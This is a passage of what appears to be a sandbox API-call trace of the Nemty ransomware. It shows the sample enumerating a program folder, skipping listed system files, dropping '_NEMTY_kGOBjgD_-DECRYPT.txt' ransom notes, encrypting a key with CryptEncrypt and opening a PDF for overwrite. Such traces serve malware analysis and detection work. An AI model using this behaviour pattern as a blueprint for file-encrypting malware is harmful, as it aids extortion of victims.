lpString2="ntuser.dat") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.634] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.635] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.635] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.635] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19eaf850, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19eaf850, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19eaf850, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.635] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.635] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="HUN", cAlternateFileName="")) returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2=".") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="..") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="...") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="windows") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="$RECYCLE.BIN") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="rsa") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="NTDETECT.COM") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="ntldr") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="MSDOS.SYS") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="IO.SYS") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="boot.ini") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="AUTOEXEC.BAT") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="ntuser.dat") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="desktop.ini") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="CONFIG.SYS") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="RECYCLER") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="BOOTSECT.BAK") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="bootmgr") returned 1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="programdata") returned -1 [0171.636] lstrcmpiW (lpString1="HUN", lpString2="appdata") returned 1 [0171.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0171.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HUN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HUN", lpUsedDefaultChar=0x0) returned 3 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.638] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.638] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.638] CloseHandle (hObject=0x254) returned 1 [0171.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.640] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.640] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.641] CloseHandle (hObject=0x254) returned 1 [0171.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.641] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19f21c70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f21c70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.641] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.641] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19f21c70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f21c70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.641] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.641] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.641] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.642] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.643] Sleep (dwMilliseconds=0x5) [0171.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f47dd0, dwHighDateTime=0x1d561e8)) [0171.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19f47dd0, dwHighDateTime=0x1d561e8)) [0171.645] GetLastError () returned 0xb7 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.645] GetLastError () returned 0xb7 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.645] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.645] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="8eQw519Ct6ocKaKgSYxnk8c37IZxmce1Uc2KHHEQyFiRsCR+INm1lGKa0Yvvg6BC\r\nX8RPaybigqojpkrL38A4PkRG+8nbtKp2IWN85ljHfpdPUIkdEL1nNoenTjU3LDzu\r\nzfnnt6EbJ4k/55/aigaCnsyDT+ZgEibpj4y10CNZtyWnzgrk5W+beToNsY+x9wC1\r\n6/iivfMn0yuCrTXnz8o0RVM8eci28YgUBYkfA0z/9KiDOKafZSljZCyOMeJnXEIF\r\nO8HodY+u2KWW49y1h5ToyQQ18Vp8/JbbcwOP3x9QyVbjXIuI3aJ+E7RLqrCMtAmC\r\nHni1EXV29P6t3vmGKHoICw==\r\n", pcchString=0x653e5dc) returned 1 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 